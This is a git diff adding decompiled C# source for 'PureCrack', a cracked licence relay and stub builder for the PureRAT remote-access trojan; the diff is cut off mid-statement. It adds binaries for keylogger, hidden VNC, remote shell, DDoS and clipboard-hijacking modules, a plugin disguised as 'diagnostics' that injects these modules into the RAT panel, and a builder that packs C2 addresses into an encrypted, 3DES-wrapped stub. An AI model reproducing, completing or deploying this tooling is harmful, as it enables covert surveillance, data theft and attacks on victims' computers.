b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.03_RemoteCamera.dll new file mode 100644 index 0000000..13e359b Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.03_RemoteCamera.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.04_RemoteDesktop.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.04_RemoteDesktop.dll new file mode 100644 index 0000000..02c782b Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.04_RemoteDesktop.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.05_RemoteShell.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.05_RemoteShell.dll new file mode 100644 index 0000000..6aac201 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.05_RemoteShell.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.06_TaskManager.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.06_TaskManager.dll new file mode 100644 index 0000000..bd37318 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.06_TaskManager.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.07_RemoteHiddenVNC.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.07_RemoteHiddenVNC.dll new file mode 100644 index 0000000..8f9d631 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.07_RemoteHiddenVNC.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.08_RemoteHiddenVNC_Reflection.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.08_RemoteHiddenVNC_Reflection.dll new file mode 100644 index 0000000..d4bfb34 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.08_RemoteHiddenVNC_Reflection.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.09_RemoteHiddenVNCAudio.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.09_RemoteHiddenVNCAudio.dll new file mode 100644 index 0000000..9b6e82c Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.09_RemoteHiddenVNCAudio.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.10_PcOption.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.10_PcOption.dll new file mode 100644 index 0000000..e530386 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.10_PcOption.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.11_Chat.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.11_Chat.dll new file mode 100644 index 0000000..945fae1 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.11_Chat.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.12_Keylogger.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.12_Keylogger.dll new file mode 100644 index 0000000..bdf940a Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.12_Keylogger.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.13_VisistWebsite.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.13_VisistWebsite.dll new file mode 100644 index 0000000..0be0d22 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.13_VisistWebsite.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.14_RevProxy.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.14_RevProxy.dll new file mode 100644 index 0000000..865126d Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.14_RevProxy.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.15_TV.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.15_TV.dll new file mode 100644 index 0000000..3abd089 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.15_TV.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.16_ExecutePowershell.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.16_ExecutePowershell.dll new file mode 100644 index 0000000..a960b60 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.16_ExecutePowershell.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.17_TwitchBot.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.17_TwitchBot.dll new file mode 100644 index 0000000..a98b98f Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.17_TwitchBot.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.18_YoutubeBot.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.18_YoutubeBot.dll new file mode 100644 index 0000000..6199e6e Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.18_YoutubeBot.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.19_BotKiller.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.19_BotKiller.dll new file mode 100644 index 0000000..9dec620 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.19_BotKiller.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.20_WindowNotify.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.20_WindowNotify.dll new file mode 100644 index 0000000..c0cacf7 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.20_WindowNotify.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.21_RegistryManager.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.21_RegistryManager.dll new file mode 100644 index 0000000..1ef3956 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.21_RegistryManager.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.22_NetworkManager.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.22_NetworkManager.dll new file mode 100644 index 0000000..3450ac4 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.22_NetworkManager.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.23_DDOS.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.23_DDOS.dll new file mode 100644 index 0000000..61dbacf Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.23_DDOS.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.24_PCSpecifications.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.24_PCSpecifications.dll new file mode 100644 index 0000000..55a28be Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.24_PCSpecifications.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.25_Coding.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.25_Coding.dll new file mode 100644 index 0000000..1d9b071 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.25_Coding.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.26_InstalledApps.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.26_InstalledApps.dll new file mode 100644 index 0000000..7e08d4d Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.26_InstalledApps.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.27_ActiveWindow.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.27_ActiveWindow.dll new file mode 100644 index 0000000..1703ff9 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.27_ActiveWindow.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.28_HRDP.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.28_HRDP.dll new file mode 100644 index 0000000..33c046d Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.28_HRDP.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.29_Clipper.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.29_Clipper.dll new file mode 100644 index 0000000..b99f464 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.29_Clipper.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.30_Torrent.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.30_Torrent.dll new file mode 100644 index 0000000..caf191a Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.30_Torrent.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.31_HostsEditor.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.31_HostsEditor.dll new file mode 100644 index 0000000..e470881 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.31_HostsEditor.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.32_StartupManager.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.32_StartupManager.dll new file mode 100644 index 0000000..83835f3 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.32_StartupManager.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.33_RemoteDesktopDirectX.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.33_RemoteDesktopDirectX.dll new file mode 100644 index 0000000..5d53480 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.33_RemoteDesktopDirectX.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.34_OfflineLogger.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.34_OfflineLogger.dll new file mode 100644 index 0000000..c3a3824 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.34_OfflineLogger.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.35_ResetSurvival.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.35_ResetSurvival.dll new file mode 100644 index 0000000..8ecc158 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.35_ResetSurvival.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.36_Fun.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.36_Fun.dll new file mode 100644 index 0000000..64bccf0 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.36_Fun.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.csproj b/decompiled/PanelPlugins/PureHelper/PureHelper.csproj new file mode 100644 index 0000000..8136007 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper/PureHelper.csproj @@ -0,0 +1,95 @@ + + + PureHelper + False + True + net48 + + + 14.0 + True + False + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper/ServerPlugin.cs b/decompiled/PanelPlugins/PureHelper/PureHelper/ServerPlugin.cs new file mode 100644 index 0000000..de96954 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper/PureHelper/ServerPlugin.cs @@ -0,0 +1,485 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using System.Reflection; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using System.Windows.Forms; +using PluginSDK.Interfaces; + +namespace PureHelper; + +public class ServerPlugin : ICustomPlugin +{ + private static readonly BindingFlags ALL_FLAGS = BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic; + + private static bool _injected = false; + + public string PluginName => "PureHelper"; + + public string PluginVersion => "1.0"; + + public string PluginAuthor => "PureServer"; + + public string PluginDescription => "Feature loader and diagnostics."; + + public ServerPlugin() + { + if (!_injected) + { + _injected = true; + Thread thread = new Thread(AutoInjectWithRetry); + thread.IsBackground = true; + thread.Start(); + } + } + + public bool OnOpen(string title) + { + //IL_0325: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_030a: Unknown result type (might be due to invalid IL or missing references) + //IL_02ce: Unknown result type (might be due to invalid IL or missing references) + try + { + Type type = FindEnumByPattern("EnumPlugins", 30); + if (type == null) + { + MessageBox.Show("EnumPlugins not found"); + return false; + } + Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies(); + foreach (Assembly assembly in assemblies) + { + try + { + string name = assembly.GetName().Name; + if (name.StartsWith("System") || name.StartsWith("mscorlib") || name.StartsWith("Microsoft") || name.StartsWith("DevExpress") || name.StartsWith("Newtonsoft") || name.StartsWith("protobuf") || name.StartsWith("PluginSDK") || name.StartsWith("ExploitPlugin")) + { + continue; + } + Type[] types = assembly.GetTypes(); + foreach (Type type2 in types) + { + try + { + if (!type2.IsAbstract || !type2.IsSealed) + { + continue; + } + MethodInfo[] methods = type2.GetMethods(ALL_FLAGS | BindingFlags.DeclaredOnly); + MethodInfo methodInfo = null; + bool flag = false; + MethodInfo[] array = methods; + foreach (MethodInfo methodInfo2 in array) + { + try + { + ParameterInfo[] parameters = methodInfo2.GetParameters(); + if (methodInfo2.ReturnType == typeof(string) && parameters.Length == 1 && parameters[0].ParameterType == type) + { + flag = true; + } + if (parameters.Length == 0 && methodInfo2.ReturnType.IsGenericType && methodInfo2.ReturnType.GetGenericTypeDefinition() == typeof(List<>)) + { + methodInfo = methodInfo2; + } + } + catch + { + } + } + if (!flag || !(methodInfo != null) || !(methodInfo.Invoke(null, null) is IList list)) + { + continue; + } + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("Plugin Registry: " + list.Count + " features\n"); + FieldInfo[] fields = methodInfo.ReturnType.GetGenericArguments()[0].GetFields(ALL_FLAGS); + for (int l = 0; l < list.Count; l++) + { + object obj2 = list[l]; + string arg = "?"; + int num = 0; + FieldInfo[] array2 = fields; + foreach (FieldInfo fieldInfo in array2) + { + try + { + object value = fieldInfo.GetValue(obj2); + if (value != null && value.GetType().IsEnum) + { + arg = value.ToString(); + } + if (value is byte[]) + { + num = ((byte[])value).Length; + } + } + catch + { + } + } + stringBuilder.AppendLine($" [{l,2}] {arg,-28} ({num:N0} bytes)"); + } + MessageBox.Show(stringBuilder.ToString(), "Debug Tools v4", (MessageBoxButtons)0, (MessageBoxIcon)64); + return false; + } + catch + { + } + } + } + catch + { + } + } + MessageBox.Show("Plugin manager not found", "Debug Tools v4"); + } + catch (Exception ex) + { + MessageBox.Show("Error: " + ex.Message); + } + return false; + } + + public void OnConnected(Action send, Action disconnect) + { + } + + public void OnPacketReceived(IPacket packet) + { + } + + public void OnDisconnected() + { + } + + private static void AutoInjectWithRetry() + { + int[] array = new int[4] { 3000, 5000, 10000, 15000 }; + for (int i = 0; i < array.Length; i++) + { + Thread.Sleep(array[i]); + try + { + if (DoInjection() >= 0) + { + break; + } + } + catch + { + } + } + } + + private static int DoInjection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("=== Auto-Injection at " + DateTime.Now.ToString() + " ==="); + try + { + Type type = FindEnumByPattern("EnumPlugins", 30); + if (type == null) + { + SaveLog(stringBuilder, "EnumPlugins not found"); + return -1; + } + Type type2 = FindEnumByPattern("EnumHvncPlugins", 10); + Type type3 = null; + MethodInfo methodInfo = null; + Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies(); + foreach (Assembly assembly in assemblies) + { + try + { + string name = assembly.GetName().Name; + if (name.StartsWith("System") || name.StartsWith("mscorlib") || name.StartsWith("Microsoft") || name.StartsWith("DevExpress") || name.StartsWith("Newtonsoft") || name.StartsWith("protobuf") || name.StartsWith("PluginSDK") || name.StartsWith("ExploitPlugin")) + { + continue; + } + Type[] types = assembly.GetTypes(); + foreach (Type type4 in types) + { + try + { + if (!type4.IsAbstract || !type4.IsSealed) + { + continue; + } + MethodInfo[] methods = type4.GetMethods(ALL_FLAGS | BindingFlags.DeclaredOnly); + bool flag = false; + int num = 0; + MethodInfo methodInfo2 = null; + MethodInfo[] array = methods; + foreach (MethodInfo methodInfo3 in array) + { + try + { + ParameterInfo[] parameters = methodInfo3.GetParameters(); + if (methodInfo3.ReturnType == typeof(string) && parameters.Length == 1 && parameters[0].ParameterType == type) + { + flag = true; + } + if (parameters.Length == 1 && parameters[0].ParameterType == type) + { + num++; + } + if (parameters.Length == 0 && methodInfo3.ReturnType.IsGenericType && methodInfo3.ReturnType.GetGenericTypeDefinition() == typeof(List<>)) + { + methodInfo2 = methodInfo3; + } + } + catch + { + } + } + if (!flag || num < 2 || !(methodInfo2 != null)) + { + continue; + } + type3 = type4; + methodInfo = methodInfo2; + break; + } + catch + { + } + } + if (!(type3 != null)) + { + continue; + } + break; + } + catch + { + } + } + if (type3 == null || methodInfo == null) + { + SaveLog(stringBuilder, "Manager not found yet"); + return -1; + } + if (!(methodInfo.Invoke(null, null) is IList list)) + { + SaveLog(stringBuilder, "List is null"); + return -1; + } + if (list.Count > 0) + { + SaveLog(stringBuilder, "Already has " + list.Count + " entries"); + return 0; + } + Type type5 = methodInfo.ReturnType.GetGenericArguments()[0]; + FieldInfo[] fields = type5.GetFields(ALL_FLAGS); + Type type6 = null; + FieldInfo[] array2 = fields; + foreach (FieldInfo fieldInfo in array2) + { + if (fieldInfo.FieldType.IsEnum) + { + type6 = fieldInfo.FieldType; + break; + } + } + if (type6 == null) + { + type6 = type2 ?? type; + } + Dictionary dictionary = new Dictionary(StringComparer.OrdinalIgnoreCase); + foreach (object value3 in Enum.GetValues(type6)) + { + dictionary[Enum.GetName(type6, value3)] = value3; + } + Assembly executingAssembly = Assembly.GetExecutingAssembly(); + string[] manifestResourceNames = executingAssembly.GetManifestResourceNames(); + List list2 = new List(); + string[] array3 = manifestResourceNames; + foreach (string text in array3) + { + if (text.Contains("ClientDLLs") || text.Contains("_Executing") || text.Contains("_FileManager") || text.Contains("_Remote")) + { + list2.Add(text); + } + else if (text.EndsWith(".dll") && text.Contains(".") && char.IsDigit(text[text.LastIndexOf('.', text.LastIndexOf('.') - 1) + 1])) + { + list2.Add(text); + } + } + if (list2.Count == 0) + { + array3 = manifestResourceNames; + foreach (string text2 in array3) + { + if (text2.EndsWith(".dll") && text2 != "PureHelper.dll") + { + list2.Add(text2); + } + } + } + if (list2.Count == 0) + { + string path = Path.Combine(Path.GetDirectoryName(executingAssembly.Location) ?? ".", "ClientDLLs"); + if (Directory.Exists(path)) + { + array3 = Directory.GetFiles(path, "*.dll"); + foreach (string text3 in array3) + { + list2.Add("FILE:" + text3); + } + } + } + stringBuilder.AppendLine("Found " + list2.Count + " client DLL sources"); + if (list2.Count == 0) + { + SaveLog(stringBuilder, "No client DLLs found"); + return -1; + } + list2.Sort(); + int num2 = 0; + foreach (string item in list2) + { + try + { + byte[] array4; + string text4; + if (item.StartsWith("FILE:")) + { + string path2 = item.Substring(5); + array4 = File.ReadAllBytes(path2); + text4 = Path.GetFileNameWithoutExtension(path2); + goto IL_0629; + } + using (Stream stream = executingAssembly.GetManifestResourceStream(item)) + { + if (stream == null) + { + continue; + } + array4 = new byte[stream.Length]; + stream.Read(array4, 0, array4.Length); + goto IL_05e7; + } + IL_0629: + string text5 = text4; + int num3 = text4.IndexOf('_'); + if (num3 >= 0) + { + text5 = text4.Substring(num3 + 1); + } + if (!dictionary.TryGetValue(text5, out var value)) + { + continue; + } + string value2 = ComputeMD5(array4); + object obj4 = Activator.CreateInstance(type5); + if (fields.Length >= 3) + { + fields[0].SetValue(obj4, value); + fields[1].SetValue(obj4, value2); + fields[2].SetValue(obj4, array4); + if (fields.Length >= 4) + { + fields[3].SetValue(obj4, null); + } + } + list.Add(obj4); + num2++; + stringBuilder.AppendLine(" + " + text5); + goto end_IL_057d; + IL_05e7: + text4 = item; + if (text4.EndsWith(".dll")) + { + text4 = text4.Substring(0, text4.Length - 4); + } + int num4 = text4.LastIndexOf('.'); + if (num4 >= 0) + { + text4 = text4.Substring(num4 + 1); + } + goto IL_0629; + end_IL_057d:; + } + catch + { + } + } + stringBuilder.AppendLine("INJECTED " + num2 + " features"); + SaveLog(stringBuilder, null); + return num2; + } + catch (Exception ex) + { + SaveLog(stringBuilder, ex.ToString()); + return -1; + } + } + + private static void SaveLog(StringBuilder log, string extra) + { + if (extra != null) + { + log.AppendLine(extra); + } + try + { + File.WriteAllText(Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) ?? ".", "injector_log.txt"), log.ToString()); + } + catch + { + } + } + + private static Type FindEnumByPattern(string nameContains, int minValues) + { + Type result = null; + int num = 0; + Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies(); + foreach (Assembly assembly in assemblies) + { + try + { + Type[] types = assembly.GetTypes(); + foreach (Type type in types) + { + try + { + if (type.IsEnum && type.Name.Contains(nameContains)) + { + int length = Enum.GetValues(type).Length; + if (length > num && length >= minValues) + { + num = length; + result = type; + } + } + } + catch + { + } + } + } + catch + { + } + } + return result; + } + + private static string ComputeMD5(byte[] data) + { + using MD5 mD = MD5.Create(); + byte[] array = mD.ComputeHash(data); + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < array.Length; i++) + { + stringBuilder.Append(array[i].ToString("x2")); + } + return stringBuilder.ToString(); + } +} diff --git a/decompiled/Properties/AssemblyInfo.cs b/decompiled/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..c5b0430 --- /dev/null +++ b/decompiled/Properties/AssemblyInfo.cs @@ -0,0 +1,13 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.Versioning; + +[assembly: AssemblyCompany("PureCrack")] +[assembly: AssemblyConfiguration("Release")] +[assembly: AssemblyDescription("PureRAT v4.0.9596 licence relay + dynamic stub builder.")] +[assembly: AssemblyFileVersion("2.0.0.0")] +[assembly: AssemblyInformationalVersion("2.0.0+f0cbf60b04cd522b4fed89230e7a1f3d82d29257")] +[assembly: AssemblyProduct("PureCrack")] +[assembly: AssemblyTitle("PureCrack")] +[assembly: AssemblyVersion("2.0.0.0")] diff --git a/decompiled/PureCrack.Build/BuildConfig.cs b/decompiled/PureCrack.Build/BuildConfig.cs new file mode 100644 index 0000000..478e6f9 --- /dev/null +++ b/decompiled/PureCrack.Build/BuildConfig.cs @@ -0,0 +1,26 @@ +using System.Collections.Generic; + +namespace PureCrack.Build; + +public sealed class BuildConfig +{ + public List Ips { get; init; } = new List { "127.0.0.1" }; + + public List Ports { get; init; } = new List { 56001 }; + + public string CertPfxBase64 { get; init; } = ""; + + public string Group { get; init; } = "Default"; + + public bool B0 { get; init; } + + public bool B1 { get; init; } + + public string StartupName { get; init; } = ""; + + public string StartupEnv { get; init; } = ""; + + public string Mutex { get; init; } = "purecrack-default"; + + public bool B2 { get; init; } +} diff --git a/decompiled/PureCrack.Build/InnerProto.cs b/decompiled/PureCrack.Build/InnerProto.cs new file mode 100644 index 0000000..c5c0bfc --- /dev/null +++ b/decompiled/PureCrack.Build/InnerProto.cs @@ -0,0 +1,70 @@ +using System; +using System.Collections.Generic; +using PureCrack.Crypto; +using PureCrack.Wire; + +namespace PureCrack.Build; + +public static class InnerProto +{ + public const string Placeholder = "H4sIAAAAAAAACgMAAAAAAAAAAAA="; + + public static byte[] EncodeGClass3(BuildConfig cfg) + { + List list = new List(); + foreach (string ip in cfg.Ips) + { + list.Add(ProtoNet.FString(1, ip)); + } + foreach (int port in cfg.Ports) + { + list.Add(ProtoNet.FInt(2, port)); + } + if (!string.IsNullOrEmpty(cfg.CertPfxBase64)) + { + list.Add(ProtoNet.FString(3, cfg.CertPfxBase64)); + } + if (!string.IsNullOrEmpty(cfg.Group)) + { + list.Add(ProtoNet.FString(4, cfg.Group)); + } + list.Add(ProtoNet.FBool(5, cfg.B0)); + list.Add(ProtoNet.FBool(6, cfg.B1)); + if (!string.IsNullOrEmpty(cfg.StartupName)) + { + list.Add(ProtoNet.FString(7, cfg.StartupName)); + } + if (!string.IsNullOrEmpty(cfg.StartupEnv)) + { + list.Add(ProtoNet.FString(8, cfg.StartupEnv)); + } + if (!string.IsNullOrEmpty(cfg.Mutex)) + { + list.Add(ProtoNet.FString(9, cfg.Mutex)); + } + list.Add(ProtoNet.FBool(10, cfg.B2)); + int num = 0; + foreach (byte[] item in list) + { + num += item.Length; + } + byte[] array = new byte[num]; + int num2 = 0; + foreach (byte[] item2 in list) + { + Buffer.BlockCopy(item2, 0, array, num2, item2.Length); + num2 += item2.Length; + } + return array; + } + + public static byte[] WrapAsGClass2(byte[] gclass3Body) + { + return ProtoNet.FSub(38, gclass3Body); + } + + public static string EncodeAndPackage(BuildConfig cfg) + { + return Convert.ToBase64String(Symmetric.Gzip(WrapAsGClass2(EncodeGClass3(cfg)))); + } +} diff --git a/decompiled/PureCrack.Build/StubBuilder.cs b/decompiled/PureCrack.Build/StubBuilder.cs new file mode 100644 index 0000000..ef81220 --- /dev/null +++ b/decompiled/PureCrack.Build/StubBuilder.cs @@ -0,0 +1,137 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp; +using Microsoft.CodeAnalysis.Emit; +using PureCrack.Crypto; +using PureCrack.Util; + +namespace PureCrack.Build; + +public static class StubBuilder +{ + public static byte[] Build(BuildConfig cfg) + { + Log.Section("build stub: ips=[" + string.Join(",", cfg.Ips) + "] ports=[" + string.Join(",", cfg.Ports) + "] group=" + cfg.Group + " mutex=" + cfg.Mutex); + Stopwatch stopwatch = Stopwatch.StartNew(); + Log.Bullet("1/5 encode + wrap + gzip + base64 GClass3"); + string text = InnerProto.EncodeAndPackage(cfg); + Log.Bullet($" config blob = {text.Length:N0} chars"); + Log.Bullet("2/5 stage 32 inner sources"); + IReadOnlyDictionary sources = StageInnerSources(text); + Log.Bullet("3/5 Roslyn → inner.dll"); + byte[] array = CompileInnerDll(sources); + Log.Bullet($" inner.dll = {array.Length:N0}b"); + Log.Bullet("4/5 gzip + 3DES wrap"); + var (array2, inArray, inArray2) = EncryptInner(array); + Log.Bullet($" encrypted = {array2.Length:N0}b"); + Log.Bullet("5/5 Roslyn → outer.exe"); + byte[] array3 = CompileOuterExe(EmbeddedAssets.LoaderTemplate.Replace("__KEY_B64__", Convert.ToBase64String(inArray)).Replace("__IV_B64__", Convert.ToBase64String(inArray2)), array2, EmbeddedAssets.ProtobufNetDll); + Log.Ok($"build done in {stopwatch.Elapsed.TotalSeconds:F1}s — outer.exe = {array3.Length:N0}b"); + return array3; + } + + private static IReadOnlyDictionary StageInnerSources(string configB64) + { + Dictionary dictionary = EmbeddedAssets.InnerSources.ToDictionary, string, string>((KeyValuePair kv) => kv.Key, (KeyValuePair kv) => kv.Value, StringComparer.OrdinalIgnoreCase); + if (!dictionary.TryGetValue("Class9.cs", out var value)) + { + throw new InvalidOperationException("Class9.cs missing from embedded inner sources — corrupted EXE?"); + } + if (!value.Contains("H4sIAAAAAAAACgMAAAAAAAAAAAA=")) + { + throw new InvalidOperationException("placeholder 'H4sIAAAAAAAACgMAAAAAAAAAAAA=' not found in Class9.cs — inner sources don't match expected v4.0.9596 layout"); + } + dictionary["Class9.cs"] = value.Replace("H4sIAAAAAAAACgMAAAAAAAAAAAA=", configB64); + return dictionary; + } + + private static (byte[] encrypted, byte[] key, byte[] iv) EncryptInner(byte[] innerDll) + { + byte[] array = Symmetric.Gzip(innerDll); + byte[] array2 = new byte[4 + array.Length]; + array2[0] = (byte)(innerDll.Length & 0xFF); + array2[1] = (byte)((innerDll.Length >> 8) & 0xFF); + array2[2] = (byte)((innerDll.Length >> 16) & 0xFF); + array2[3] = (byte)((innerDll.Length >> 24) & 0xFF); + Buffer.BlockCopy(array, 0, array2, 4, array.Length); + byte[] array3 = Symmetric.RandomBytes(24); + byte[] array4 = Symmetric.RandomBytes(8); + return (encrypted: Symmetric.TripleDesEncrypt(array2, array3, array4), key: array3, iv: array4); + } + + private static byte[] CompileInnerDll(IReadOnlyDictionary sources) + { + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Expected O, but got Unknown + List list = (from kv in sources + orderby kv.Key + select 